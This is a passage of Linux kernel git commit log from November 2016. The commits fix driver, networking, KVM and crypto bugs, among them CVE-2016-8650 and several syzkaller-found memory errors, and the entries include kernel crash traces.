/mnt/ssd/all/work/repos/devel/linux/drivers/regulator/core.c:4072 regulator_unregister+0xc8/0xd0 Modules linked in: CPU: 0 PID: 1 Comm: swapper/0 Not tainted 4.8.0-rc6-00154-g54fe84cbd50b #41 Hardware name: SAMSUNG EXYNOS (Flattened Device Tree) [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [] (show_stack) from [] (dump_stack+0x88/0x9c) [] (dump_stack) from [] (__warn+0xe8/0x100) [] (__warn) from [] (warn_slowpath_null+0x20/0x28) [] (warn_slowpath_null) from [] (regulator_unregister+0xc8/0xd0) [] (regulator_unregister) from [] (release_nodes+0x16c/0x1dc) [] (release_nodes) from [] (__device_release_driver+0x8c/0x110) [] (__device_release_driver) from [] (device_release_driver+0x1c/0x28) [] (device_release_driver) from [] (bus_remove_device+0xd8/0x104) [] (bus_remove_device) from [] (device_del+0x10c/0x218) [] (device_del) from [] (platform_device_del+0x1c/0x88) [] (platform_device_del) from [] (platform_device_unregister+0xc/0x20) [] (platform_device_unregister) from [] (mfd_remove_devices_fn+0x5c/0x64) [] (mfd_remove_devices_fn) from [] (device_for_each_child_reverse+0x4c/0x78) [] (device_for_each_child_reverse) from [] (mfd_remove_devices+0x20/0x30) [] (mfd_remove_devices) from [] (wm8994_device_init+0x2ac/0x7f0) [] (wm8994_device_init) from [] (i2c_device_probe+0x178/0x1fc) [] (i2c_device_probe) from [] (driver_probe_device+0x214/0x2c0) [] (driver_probe_device) from [] (__driver_attach+0xac/0xb0) [] (__driver_attach) from [] (bus_for_each_dev+0x68/0x9c) [] (bus_for_each_dev) from [] (bus_add_driver+0x1a0/0x218) [] (bus_add_driver) from [] (driver_register+0x78/0xf8) [] (driver_register) from [] (i2c_register_driver+0x34/0x84) [] (i2c_register_driver) from [] (do_one_initcall+0x40/0x170) [] (do_one_initcall) from [] (kernel_init_freeable+0x15c/0x1fc) [] (kernel_init_freeable) from [] (kernel_init+0x8/0x114) [] (kernel_init) from [] (ret_from_fork+0x14/0x3c) ---[ end trace 0919d3d0bc998260 ]--- [snip..] Unable to handle kernel NULL pointer dereference at virtual address 00000078 pgd = c0004000 [00000078] *pgd=00000000 Internal error: Oops: 5 [#1] PREEMPT SMP ARM Modules linked in: CPU: 0 PID: 1 Comm: swapper/0 Tainted: G W 4.8.0-rc6-00154-g54fe84cbd50b #41 Hardware name: SAMSUNG EXYNOS (Flattened Device Tree) task: ee874000 task.stack: ee878000 PC is at down_write+0x14/0x54 LR is at debugfs_remove_recursive+0x30/0x150 [snip..] [] (down_write) from [] (debugfs_remove_recursive+0x30/0x150) [] (debugfs_remove_recursive) from [] (_regulator_put+0x24/0xac) [] (_regulator_put) from [] (regulator_put+0x1c/0x2c) [] (regulator_put) from [] (release_nodes+0x16c/0x1dc) [] (release_nodes) from [] (driver_probe_device+0xec/0x2c0) [] (driver_probe_device) from [] (__driver_attach+0xac/0xb0) [] (__driver_attach) from [] (bus_for_each_dev+0x68/0x9c) [] (bus_for_each_dev) from [] (bus_add_driver+0x1a0/0x218) [] (bus_add_driver) from [] (driver_register+0x78/0xf8) [] (driver_register) from [] (i2c_register_driver+0x34/0x84) [] (i2c_register_driver) from [] (do_one_initcall+0x40/0x170) [] (do_one_initcall) from [] (kernel_init_freeable+0x15c/0x1fc) [] (kernel_init_freeable) from [] (kernel_init+0x8/0x114) [] (kernel_init) from [] (ret_from_fork+0x14/0x3c) Code: e1a04000 f590f000 e3a03001 e34f3fff (e1902f9f) ---[ end trace 0919d3d0bc998262 ]--- --------x------------------x---------------- Fix the kernel warnings and crashes by using regulator_bulk_get() instead of devm_regulator_bulk_get() and explicitly freeing the supplies in exit paths. Tested on Exynos 5250, dual core ARM A15 machine. Signed-off-by: Viresh Kumar Acked-by: Charles Keepax Signed-off-by: Lee Jones drivers/mfd/wm8994-core.c | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) commit 3cfc43df7af0533b39b97bb03980e02e9716fc52 Author: Viresh Kumar Date: Fri Sep 16 08:56:59 2016 +0530 mfd: wm8994-core: Disable regulators before removing them The order in which resources were freed in wm8994_device_exit() isn't correct. The regulators are removed before they are disabled. Fix it by reordering code a bit, which makes it exact opposite of wm8994_device_init() as well. Signed-off-by: Viresh Kumar Acked-by: Charles Keepax Signed-off-by: Lee Jones drivers/mfd/wm8994-core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2a872a5dcec7052e9fd948ee77a62187791735ff Author: Matt Redfearn Date: Wed Nov 9 13:26:25 2016 +0000 MIPS: mm: Fix output of __do_page_fault Since commit 4bcc595ccd80 ("printk: reinstate KERN_CONT for printing continuation lines") the output from __do_page_fault on MIPS has been pretty unreadable due to the lack of KERN_CONT markers. Use pr_cont to provide the appropriate markers & restore the expected output. Signed-off-by: Matt Redfearn Cc: Paul Gortmaker Cc: Kirill A. Shutemov Cc: Andrew Morton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14544/ Signed-off-by: Ralf Baechle arch/mips/mm/fault.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit d29ccdb3f0e5dccb170200c9f3d573eaa5af261b Author: Paul Burton Date: Fri Oct 14 10:17:31 2016 +0100 mfd: syscon: Support native-endian regmaps The regmap devicetree binding documentation states that a native-endian property should be supported as well as big-endian & little-endian, however syscon in its duplication of the parsing of these properties omits support for native-endian. Fix this by setting REGMAP_ENDIAN_NATIVE when a native-endian property is found. Signed-off-by: Paul Burton Cc: Lee Jones Cc: Arnd Bergmann Cc: Guenter Roeck Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Signed-off-by: Lee Jones drivers/mfd/syscon.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 2513940989fa2c56d0aeb4f5792d22804d92ab4c Author: Michael Ellerman Date: Fri Nov 25 09:45:28 2016 +1100 locking/selftest: Fix output since KERN_CONT changes Since the KERN_CONT changes the locking-selftest output is messed up, eg: ---------------------------------------------------------------------------- | spin |wlock |rlock |mutex | wsem | rsem | -------------------------------------------------------------------------- A-A deadlock: ok | ok | ok | ok | ok | ok | Use pr_cont() to get it looking normal again: ---------------------------------------------------------------------------- | spin |wlock |rlock |mutex | wsem | rsem | -------------------------------------------------------------------------- A-A deadlock: ok | ok | ok | ok | ok | ok | Reported-by: Christian Kujau Signed-off-by: Michael Ellerman Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linuxppc-dev@ozlabs.org Link: http://lkml.kernel.org/r/1480027528-934-1-git-send-email-mpe@ellerman.id.au Signed-off-by: Ingo Molnar lib/locking-selftest.c | 66 +++++++++++++++++++++++++------------------------- 1 file changed, 33 insertions(+), 33 deletions(-) commit 9704668e4b7105ede483f38da7f29d71b5bc0165 Merge: d742000 5ad4530 Author: Dave Airlie Date: Fri Nov 25 14:21:26 2016 +1000 Merge branch 'mediatek-drm-fixes-2016-11-24' of https://github.com/ckhu-mediatek/linux.git-tags into drm-fixes This branch include patches of fixing a typo, accurate dsi frame rate, and fixing null pointer dereference. * 'mediatek-drm-fixes-2016-11-24' of https://github.com/ckhu-mediatek/linux.git-tags: drm/mediatek: fix null pointer dereference drm/mediatek: fixed the calc method of data rate per lane drm/mediatek: fix a typo of DISP_OD_CFG to OD_RELAYMODE commit 984d7a1ec67ce3a46324fa4bcb4c745bbc266cf2 Author: Aneesh Kumar K.V Date: Thu Nov 24 15:09:54 2016 +0530 powerpc/mm: Fixup kernel read only mapping With commit e58e87adc8bf9 ("powerpc/mm: Update _PAGE_KERNEL_RO") we started using the ppp value 0b110 to map kernel readonly. But that facility was only added as part of ISA 2.04. For earlier ISA version only supported ppp bit value for readonly mapping is 0b011. (This implies both user and kernel get mapped using the same ppp bit value for readonly mapping.). Update the code such that for earlier architecture version we use ppp value 0b011 for readonly mapping. We don't differentiate between power5+ and power5 here and apply the new ppp bits only from power6 (ISA 2.05). This keep the changes minimal. This fixes issue with PS3 spu usage reported at https://lkml.kernel.org/r/rep.1421449714.geoff@infradead.org Fixes: e58e87adc8bf9 ("powerpc/mm: Update _PAGE_KERNEL_RO") Cc: stable@vger.kernel.org # v4.7+ Tested-by: Geoff Levand Signed-off-by: Aneesh Kumar K.V Signed-off-by: Michael Ellerman arch/powerpc/include/asm/mmu.h | 14 ++++++++++---- arch/powerpc/mm/hash_utils_64.c | 8 ++++++-- 2 files changed, 16 insertions(+), 6 deletions(-) commit f5527fffff3f002b0a6b376163613b82f69de073 Author: Andrey Ryabinin Date: Thu Nov 24 13:23:10 2016 +0000 mpi: Fix NULL ptr dereference in mpi_powm() [ver #3] This fixes CVE-2016-8650. If mpi_powm() is given a zero exponent, it wants to immediately return either 1 or 0, depending on the modulus. However, if the result was initalised with zero limb space, no limbs space is allocated and a NULL-pointer exception ensues. Fix this by allocating a minimal amount of limb space for the result when the 0-exponent case when the result is 1 and not touching the limb space when the result is 0. This affects the use of RSA keys and X.509 certificates that carry them. BUG: unable to handle kernel NULL pointer dereference at (null) IP: [] mpi_powm+0x32/0x7e6 PGD 0 Oops: 0002 [#1] SMP Modules linked in: CPU: 3 PID: 3014 Comm: keyctl Not tainted 4.9.0-rc6-fscache+ #278 Hardware name: ASUS All Series/H97-PLUS, BIOS 2306 10/09/2014 task: ffff8804011944c0 task.stack: ffff880401294000 RIP: 0010:[] [] mpi_powm+0x32/0x7e6 RSP: 0018:ffff880401297ad8 EFLAGS: 00010212 RAX: 0000000000000000 RBX: ffff88040868bec0 RCX: ffff88040868bba0 RDX: ffff88040868b260 RSI: ffff88040868bec0 RDI: ffff88040868bee0 RBP: ffff880401297ba8 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000047 R11: ffffffff8183b210 R12: 0000000000000000 R13: ffff8804087c7600 R14: 000000000000001f R15: ffff880401297c50 FS: 00007f7a7918c700(0000) GS:ffff88041fb80000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 0000000401250000 CR4: 00000000001406e0 Stack: ffff88040868bec0 0000000000000020 ffff880401297b00 ffffffff81376cd4 0000000000000100 ffff880401297b10 ffffffff81376d12 ffff880401297b30 ffffffff81376f37 0000000000000100 0000000000000000 ffff880401297ba8 Call Trace: [] ? __sg_page_iter_next+0x43/0x66 [] ? sg_miter_get_next_page+0x1b/0x5d [] ? sg_miter_next+0x17/0xbd [] ? mpi_read_raw_from_sgl+0xf2/0x146 [] rsa_verify+0x9d/0xee [] ? pkcs1pad_sg_set_buf+0x2e/0xbb [] pkcs1pad_verify+0xc0/0xe1 [] public_key_verify_signature+0x1b0/0x228 [] x509_check_for_self_signed+0xa1/0xc4 [] x509_cert_parse+0x167/0x1a1 [] x509_key_preparse+0x21/0x1a1 [] asymmetric_key_preparse+0x34/0x61 [] key_create_or_update+0x145/0x399 [] SyS_add_key+0x154/0x19e [] do_syscall_64+0x80/0x191 [] entry_SYSCALL64_slow_path+0x25/0x25 Code: 56 41 55 41 54 53 48 81 ec a8 00 00 00 44 8b 71 04 8b 42 04 4c 8b 67 18 45 85 f6 89 45 80 0f 84 b4 06 00 00 85 c0 75 2f 41 ff ce <49> c7 04 24 01 00 00 00 b0 01 75 0b 48 8b 41 18 48 83 38 01 0f RIP [] mpi_powm+0x32/0x7e6 RSP CR2: 0000000000000000 ---[ end trace d82015255d4a5d8d ]--- Basically, this is a backport of a libgcrypt patch: http://git.gnupg.org/cgi-bin/gitweb.cgi?p=libgcrypt.git;a=patch;h=6e1adb05d290aeeb1c230c763970695f4a538526 Fixes: cdec9cb5167a ("crypto: GnuPG based MPI lib - source files (part 1)") Signed-off-by: Andrey Ryabinin Signed-off-by: David Howells cc: Dmitry Kasatkin cc: linux-ima-devel@lists.sourceforge.net cc: stable@vger.kernel.org Signed-off-by: James Morris lib/mpi/mpi-pow.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 2b95fda2c4fcb6d6625963f889247538f247fce0 Author: Andrey Ryabinin Date: Thu Nov 24 13:23:03 2016 +0000 X.509: Fix double free in x509_cert_parse() [ver #3] We shouldn't free cert->pub->key in x509_cert_parse() because x509_free_certificate() also does this: BUG: Double free or freeing an invalid pointer ... Call Trace: [] dump_stack+0x63/0x83 [] kasan_object_err+0x21/0x70 [] kasan_report_double_free+0x49/0x60 [] kasan_slab_free+0x9d/0xc0 [] kfree+0x8a/0x1a0 [] public_key_free+0x1f/0x30 [] x509_free_certificate+0x24/0x90 [] x509_cert_parse+0x2bc/0x300 [] x509_key_preparse+0x3e/0x330 [] asymmetric_key_preparse+0x6f/0x100 [] key_create_or_update+0x260/0x5f0 [] SyS_add_key+0x199/0x2a0 [] entry_SYSCALL_64_fastpath+0x1e/0xad Object at ffff880110bd1900, in cache kmalloc-512 size: 512 .... Freed: PID = 2579 [] save_stack_trace+0x1b/0x20 [] save_stack+0x46/0xd0 [] kasan_slab_free+0x73/0xc0 [] kfree+0x8a/0x1a0 [] x509_cert_parse+0x2a3/0x300 [] x509_key_preparse+0x3e/0x330 [] asymmetric_key_preparse+0x6f/0x100 [] key_create_or_update+0x260/0x5f0 [] SyS_add_key+0x199/0x2a0 [] entry_SYSCALL_64_fastpath+0x1e/0xad Fixes: db6c43bd2132 ("crypto: KEYS: convert public key and digsig asym to the akcipher api") Signed-off-by: Andrey Ryabinin Cc: Signed-off-by: David Howells Signed-off-by: James Morris crypto/asymmetric_keys/x509_cert_parser.c | 1 - 1 file changed, 1 deletion(-) commit d74200024009c8d974c7484446c9eb1622408a17 Author: Arvind Yadav Date: Wed Oct 19 15:34:16 2016 +0530 gpu/drm/exynos/exynos_hdmi - Unmap region obtained by of_iomap Free memory mapping, if hdmi_probe is not successful. Signed-off-by: Arvind Yadav Signed-off-by: Inki Dae Signed-off-by: Dave Airlie drivers/gpu/drm/exynos/exynos_hdmi.c | 5 +++++ 1 file changed, 5 insertions(+) commit f9e154a0e6730218c222d95af22784b0a53e3f58 Merge: 19a8bb2 39385cb Author: David S. Miller Date: Thu Nov 24 16:24:20 2016 -0500 Merge branch 'for-upstream' of git://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth Johan Hedberg says: ==================== pull request: bluetooth 2016-11-23 Sorry about the late pull request for 4.9, but we have one more important Bluetooth patch that should make it to the release. It fixes connection creation for Bluetooth LE controllers that do not have a public address (only a random one). Please let me know if there are any issues pulling. Thanks. ==================== Signed-off-by: David S. Miller commit 19a8bb28d1c66670a2aebf9c78ec21c0b942f4b8 Author: Roman Mashak Date: Tue Nov 22 20:57:04 2016 -0500 net sched filters: fix filter handle ID in tfilter_notify_chain() Should pass valid filter handle, not the netlink flags. Fixes: 30a391a13ab92 ("net sched filters: pass netlink message flags in event notification") Signed-off-by: Roman Mashak Signed-off-by: Jamal Hadi Salim Reported-by: Cong Wang Acked-by: Daniel Borkmann Signed-off-by: David S. Miller net/sched/cls_api.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 76da8706d90d8641eeb9b8e579942ed80b6c0880 Author: Florian Fainelli Date: Tue Nov 22 11:40:58 2016 -0800 net: dsa: bcm_sf2: Ensure we re-negotiate EEE during after link change In case the link change and EEE is enabled or disabled, always try to re-negotiate this with the link partner. Fixes: 450b05c15f9c ("net: dsa: bcm_sf2: add support for controlling EEE") Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/bcm_sf2.c | 4 ++++ 1 file changed, 4 insertions(+) commit 867d1212bf3c53dc057f7bca72155048cc51d18c Author: Andy Gospodarek Date: Tue Nov 22 13:14:08 2016 -0500 bnxt: do not busy-poll when link is down When busy polling while a link is down (during a link-flap test), TX timeouts were observed as well as the following messages in the ring buffer: bnxt_en 0008:01:00.2 enP8p1s0f2d2: Resp cmpl intr err msg: 0x51 bnxt_en 0008:01:00.2 enP8p1s0f2d2: hwrm_ring_free tx failed. rc:-1 bnxt_en 0008:01:00.2 enP8p1s0f2d2: Resp cmpl intr err msg: 0x51 bnxt_en 0008:01:00.2 enP8p1s0f2d2: hwrm_ring_free rx failed. rc:-1 These were resolved by checking for link status and returning if link was not up. Signed-off-by: Andy Gospodarek Signed-off-by: Michael Chan Tested-by: Rob Miller Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt.c | 3 +++ 1 file changed, 3 insertions(+) commit 30c7be26fd3587abcb69587f781098e3ca2d565b Author: Eric Dumazet Date: Tue Nov 22 09:06:45 2016 -0800 udplite: call proper backlog handlers In commits 93821778def10 ("udp: Fix rcv socket locking") and f7ad74fef3af ("net/ipv6/udp: UDP encapsulation: break backlog_rcv into __udpv6_queue_rcv_skb") UDP backlog handlers were renamed, but UDPlite was forgotten. This leads to crashes if UDPlite header is pulled twice, which happens starting from commit e6afc8ace6dd ("udp: remove headers from UDP packets before queueing") Bug found by syzkaller team, thanks a lot guys ! Note that backlog use in UDP/UDPlite is scheduled to be removed starting from linux-4.10, so this patch is only needed up to linux-4.9 Fixes: 93821778def1 ("udp: Fix rcv socket locking") Fixes: f7ad74fef3af ("net/ipv6/udp: UDP encapsulation: break backlog_rcv into __udpv6_queue_rcv_skb") Fixes: e6afc8ace6dd ("udp: remove headers from UDP packets before queueing") Signed-off-by: Eric Dumazet Reported-by: Andrey Konovalov Cc: Benjamin LaHaise Cc: Herbert Xu Signed-off-by: David S. Miller net/ipv4/udp.c | 2 +- net/ipv4/udp_impl.h | 2 +- net/ipv4/udplite.c | 2 +- net/ipv6/udp.c | 2 +- net/ipv6/udp_impl.h | 2 +- net/ipv6/udplite.c | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) commit 16ae16c6e5616c084168740990fc508bda6655d4 Merge: bae73e8 647f80a Author: Linus Torvalds Date: Thu Nov 24 10:51:18 2016 -0800 Merge tag 'mmc-v4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/ulfh/mmc Pull MMC fixes from Ulf Hansson: "MMC host: - sdhci-of-esdhc: Fix card detection - dw_mmc: Fix DMA error path" * tag 'mmc-v4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/ulfh/mmc: mmc: dw_mmc: fix the error handling for dma operation mmc: sdhci-of-esdhc: fixup PRESENT_STATE read commit bae73e80d48ace1faa33da846dd124fbef661b7f Merge: e2b6535 c0da038 Author: Linus Torvalds Date: Thu Nov 24 10:38:20 2016 -0800 Merge tag 'usb-4.9-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb Pull USB fixes from Greg KH: "Here are a few small USB fixes and new device ids for 4.9-rc7. The majority of these fixes are in the musb driver, fixing a number of regressions that have been reported but took a while to resolve. The other fixes are all small ones, to resolve other reported minor issues. All have been in linux-next for a while with no reported issues" * tag 'usb-4.9-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb: usb: gadget: f_fs: fix wrong parenthesis in ffs_func_req_match() phy: twl4030-usb: Fix for musb session bit based PM usb: musb: Drop pointless PM runtime code for dsps glue usb: musb: Add missing pm_runtime_disable and drop 2430 PM timeout usb: musb: Fix PM for hub disconnect usb: musb: Fix sleeping function called from invalid context for hdrc glue usb: musb: Fix broken use of static variable for multiple instances USB: serial: cp210x: add ID for the Zone DPMX usb: chipidea: move the lock initialization to core file Fix USB CB/CBI storage devices with CONFIG_VMAP_STACK=y USB: serial: ftdi_sio: add support for TI CC3200 LaunchPad commit e2b6535d47ce223e327de053b804d2e572a98bbc Merge: 18594e9 d443a0a Author: Linus Torvalds Date: Thu Nov 24 09:40:26 2016 -0800 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/hid Pull HID fixes from Jiri Kosina: - DMA-on-stack fixes for a couple drivers, from Benjamin Tissoires - small memory sanitization fix for sensor-hub driver, from Song Hongyan * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/hid: HID: hid-sensor-hub: clear memory to avoid random data HID: rmi: make transfer buffers DMA capable HID: magicmouse: make transfer buffers DMA capable HID: lg: make transfer buffers DMA capable HID: cp2112: make transfer buffers DMA capable commit df492896e6dfb44fd1154f5402428d8e52705081 Author: Radim Krčmář Date: Wed Nov 23 21:25:48 2016 +0100 KVM: x86: check for pic and ioapic presence before use Split irqchip allows pic and ioapic routes to be used without them being created, which results in NULL access. Check for NULL and avoid it. (The setup is too racy for a nicer solutions.) Found by syzkaller: general protection fault: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN Dumping ftrace buffer: (ftrace buffer empty) Modules linked in: CPU: 3 PID: 11923 Comm: kworker/3:2 Not tainted 4.9.0-rc5+ #27 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 Workqueue: events irqfd_inject task: ffff88006a06c7c0 task.stack: ffff880068638000 RIP: 0010:[...] [...] __lock_acquire+0xb35/0x3380 kernel/locking/lockdep.c:3221 RSP: 0000:ffff88006863ea20 EFLAGS: 00010006 RAX: dffffc0000000000 RBX: dffffc0000000000 RCX: 0000000000000000 RDX: 0000000000000039 RSI: 0000000000000000 RDI: 1ffff1000d0c7d9e RBP: ffff88006863ef58 R08: 0000000000000001 R09: 0000000000000000 R10: 00000000000001c8 R11: 0000000000000000 R12: ffff88006a06c7c0 R13: 0000000000000001 R14: ffffffff8baab1a0 R15: 0000000000000001 FS: 0000000000000000(0000) GS:ffff88006d100000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00000000004abdd0 CR3: 000000003e2f2000 CR4: 00000000000026e0 Stack: ffffffff894d0098 1ffff1000d0c7d56 ffff88006863ecd0 dffffc0000000000 ffff88006a06c7c0 0000000000000000 ffff88006863ecf8 0000000000000082 0000000000000000 ffffffff815dd7c1 ffffffff00000000 ffffffff00000000 Call Trace: [...] lock_acquire+0x2a2/0x790 kernel/locking/lockdep.c:3746 [...] __raw_spin_lock include/linux/spinlock_api_smp.h:144 [...] _raw_spin_lock+0x38/0x50 kernel/locking/spinlock.c:151 [...] spin_lock include/linux/spinlock.h:302 [...] kvm_ioapic_set_irq+0x4c/0x100 arch/x86/kvm/ioapic.c:379 [...] kvm_set_ioapic_irq+0x8f/0xc0 arch/x86/kvm/irq_comm.c:52 [...] kvm_set_irq+0x239/0x640 arch/x86/kvm/../../../virt/kvm/irqchip.c:101 [...] irqfd_inject+0xb4/0x150 arch/x86/kvm/../../../virt/kvm/eventfd.c:60 [...] process_one_work+0xb40/0x1ba0 kernel/workqueue.c:2096 [...] worker_thread+0x214/0x18a0 kernel/workqueue.c:2230 [...] kthread+0x328/0x3e0 kernel/kthread.c:209 [...] ret_from_fork+0x2a/0x40 arch/x86/entry/entry_64.S:433 Reported-by: Dmitry Vyukov Cc: stable@vger.kernel.org Fixes: 49df6397edfc ("KVM: x86: Split the APIC from the rest of IRQCHIP.") Signed-off-by: Radim Krčmář arch/x86/kvm/irq_comm.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 81cdb259fb6d8c1c4ecfeea389ff5a73c07f5755 Author: Radim Krčmář Date: Wed Nov 23 21:15:27 2016 +0100 KVM: x86: fix out-of-bounds accesses of rtc_eoi map KVM was using arrays of size KVM_MAX_VCPUS with vcpu_id, but ID can be bigger that the maximal number of VCPUs, resulting in out-of-bounds access. Found by syzkaller: BUG: KASAN: slab-out-of-bounds in __apic_accept_irq+0xb33/0xb50 at addr [...] Write of size 1 by task a.out/27101 CPU: 1 PID: 27101 Comm: a.out Not tainted 4.9.0-rc5+ #49 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 [...] Call Trace: [...] __apic_accept_irq+0xb33/0xb50 arch/x86/kvm/lapic.c:905 [...] kvm_apic_set_irq+0x10e/0x180 arch/x86/kvm/lapic.c:495 [...] kvm_irq_delivery_to_apic+0x732/0xc10 arch/x86/kvm/irq_comm.c:86 [...] ioapic_service+0x41d/0x760 arch/x86/kvm/ioapic.c:360 [...] ioapic_set_irq+0x275/0x6c0 arch/x86/kvm/ioapic.c:222 [...] kvm_ioapic_inject_all arch/x86/kvm/ioapic.c:235 [...] kvm_set_ioapic+0x223/0x310 arch/x86/kvm/ioapic.c:670 [...] kvm_vm_ioctl_set_irqchip arch/x86/kvm/x86.c:3668 [...] kvm_arch_vm_ioctl+0x1a08/0x23c0 arch/x86/kvm/x86.c:3999 [...] kvm_vm_ioctl+0x1fa/0x1a70 arch/x86/kvm/../../../virt/kvm/kvm_main.c:3099 Reported-by: Dmitry Vyukov Cc: stable@vger.kernel.org Fixes: af1bae5497b9 ("KVM: x86: bump KVM_MAX_VCPU_ID to 1023") Reviewed-by: Paolo Bonzini Reviewed-by: David Hildenbrand Signed-off-by: Radim Krčmář arch/x86/kvm/ioapic.c | 2 +- arch/x86/kvm/ioapic.h | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit 2117d5398c81554fbf803f5fd1dc55eb78216c0c Author: Radim Krčmář Date: Wed Nov 23 21:15:00 2016 +0100 KVM: x86: drop error recovery in em_jmp_far and em_ret_far em_jmp_far and em_ret_far assumed that setting IP can only fail in 64 bit mode, but syzkaller proved otherwise (and SDM agrees). Code segment was restored upon failure, but it was left uninitialized outside of long mode, which could lead to a leak of host kernel stack. We could have fixed that by always saving and restoring the CS, but we take a simpler approach and just break any guest that manages to fail as the error recovery is error-prone and modern CPUs don't need emulator for this. Found by syzkaller: WARNING: CPU: 2 PID: 3668 at arch/x86/kvm/emulate.c:2217 em_ret_far+0x428/0x480 Kernel panic - not syncing: panic_on_warn set ... CPU: 2 PID: 3668 Comm: syz-executor Not tainted 4.9.0-rc4+ #49 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 [...] Call Trace: [...] __dump_stack lib/dump_stack.c:15 [...] dump_stack+0xb3/0x118 lib/dump_stack.c:51 [...] panic+0x1b7/0x3a3 kernel/panic.c:179 [...] __warn+0x1c4/0x1e0 kernel/panic.c:542 [...] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585 [...] em_ret_far+0x428/0x480 arch/x86/kvm/emulate.c:2217 [...] em_ret_far_imm+0x17/0x70 arch/x86/kvm/emulate.c:2227 [...] x86_emulate_insn+0x87a/0x3730 arch/x86/kvm/emulate.c:5294 [...] x86_emulate_instruction+0x520/0x1ba0 arch/x86/kvm/x86.c:5545 [...] emulate_instruction arch/x86/include/asm/kvm_host.h:1116 [...] complete_emulated_io arch/x86/kvm/x86.c:6870 [...] complete_emulated_mmio+0x4e9/0x710 arch/x86/kvm/x86.c:6934 [...] kvm_arch_vcpu_ioctl_run+0x3b7a/0x5a90 arch/x86/kvm/x86.c:6978 [...] kvm_vcpu_ioctl+0x61e/0xdd0 arch/x86/kvm/../../../virt/kvm/kvm_main.c:2557 [...] vfs_ioctl fs/ioctl.c:43 [...] do_vfs_ioctl+0x18c/0x1040 fs/ioctl.c:679 [...] SYSC_ioctl fs/ioctl.c:694 [...] SyS_ioctl+0x8f/0xc0 fs/ioctl.c:685 [...] entry_SYSCALL_64_fastpath+0x1f/0xc2 Reported-by: Dmitry Vyukov Cc: stable@vger.kernel.org Fixes: d1442d85cc30 ("KVM: x86: Handle errors when RIP is set during far jumps") Signed-off-by: Radim Krčmář arch/x86/kvm/emulate.c | 36 +++++++++++------------------------- 1 file changed, 11 insertions(+), 25 deletions(-) commit 444fdad88f35de9fd1c130b2c4e4550671758fd2 Author: Radim Krčmář Date: Tue Nov 22 20:20:14 2016 +0100 KVM: x86: fix out-of-bounds access in lapic Cluster xAPIC delivery incorrectly assumed that dest_id <= 0xff. With enabled KVM_X2APIC_API_USE_32BIT_IDS in KVM_CAP_X2APIC_API, a userspace can send an interrupt with dest_id that results in out-of-bounds access. Found by syzkaller: BUG: KASAN: slab-out-of-bounds in kvm_irq_delivery_to_apic_fast+0x11fa/0x1210 at addr ffff88003d9ca750 Read of size 8 by task syz-executor/22923 CPU: 0 PID: 22923 Comm: syz-executor Not tainted 4.9.0-rc4+ #49 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 [...] Call Trace: [...] __dump_stack lib/dump_stack.c:15 [...] dump_stack+0xb3/0x118 lib/dump_stack.c:51 [...] kasan_object_err+0x1c/0x70 mm/kasan/report.c:156 [...] print_address_description mm/kasan/report.c:194 [...] kasan_report_error mm/kasan/report.c:283 [...] kasan_report+0x231/0x500 mm/kasan/report.c:303 [...] __asan_report_load8_noabort+0x14/0x20 mm/kasan/report.c:329 [...] kvm_irq_delivery_to_apic_fast+0x11fa/0x1210 arch/x86/kvm/lapic.c:824 [...] kvm_irq_delivery_to_apic+0x132/0x9a0 arch/x86/kvm/irq_comm.c:72 [...] kvm_set_msi+0x111/0x160 arch/x86/kvm/irq_comm.c:157 [...] kvm_send_userspace_msi+0x201/0x280 arch/x86/kvm/../../../virt/kvm/irqchip.c:74 [...] kvm_vm_ioctl+0xba5/0x1670 arch/x86/kvm/../../../virt/kvm/kvm_main.c:3015 [...] vfs_ioctl fs/ioctl.c:43 [...] do_vfs_ioctl+0x18c/0x1040 fs/ioctl.c:679 [...] SYSC_ioctl fs/ioctl.c:694 [...] SyS_ioctl+0x8f/0xc0 fs/ioctl.c:685 [...] entry_SYSCALL_64_fastpath+0x1f/0xc2 Reported-by: Dmitry Vyukov Cc: stable@vger.kernel.org Fixes: e45115b62f9a ("KVM: x86: use physical LAPIC array for logical x2APIC") Reviewed-by: Paolo Bonzini Signed-off-by: Radim Krčmář arch/x86/kvm/lapic.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 18594e9bc4a27e72d7961a7afe4250a502d1538d Author: Nicolas Schichan Date: Thu Nov 24 13:38:04 2016 +0100 init: use pr_cont() when displaying rotator during ramdisk loading. Otherwise each individual rotator char 